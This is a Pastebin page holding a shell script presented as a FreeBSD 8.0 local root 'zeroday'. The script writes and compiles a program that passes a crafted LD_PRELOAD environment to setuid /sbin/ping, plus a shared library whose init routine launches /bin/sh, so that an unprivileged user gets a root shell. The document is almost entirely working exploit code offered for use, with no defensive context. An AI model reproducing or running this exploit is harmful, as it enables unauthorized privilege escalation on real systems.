Advertisement
Reck

FreeBSD 8.0 Local Root Exploit [w00t]

May 2nd, 2012
1,134
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.80 KB | None | 0 0
  1. #!/bin/sh
  2. echo ** FreeBSD local r00t zeroday
  3. echo by Reckz0r
  4. echo twitter.com/Reckz0r
  5. cat > env.c << _EOF
  6. #include <stdio.h>
  7.  
  8. main() {
  9. extern char **environ;
  10. environ = (char**)malloc(8096);
  11.  
  12. environ[0] = (char*)malloc(1024);
  13. environ[1] = (char*)malloc(1024);
  14. strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0");
  15.  
  16. execl("/sbin/ping", "ping", 0);
  17. }
  18. _EOF
  19. gcc env.c -o env
  20. cat > program.c << _EOF
  21. #include <unistd.h>
  22. #include <stdio.h>
  23. #include <sys/types.h>
  24. #include <stdlib.h>
  25.  
  26. void _init() {
  27. extern char **environ;
  28. environ=NULL;
  29. system("echo ALEX-ALEX;/bin/sh");
  30. }
  31. _EOF
  32. gcc -o program.o -c program.c -fPIC
  33. gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles
  34. cp w00t.so.1.0 /tmp/w00t.so.1.0
  35. ./env
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement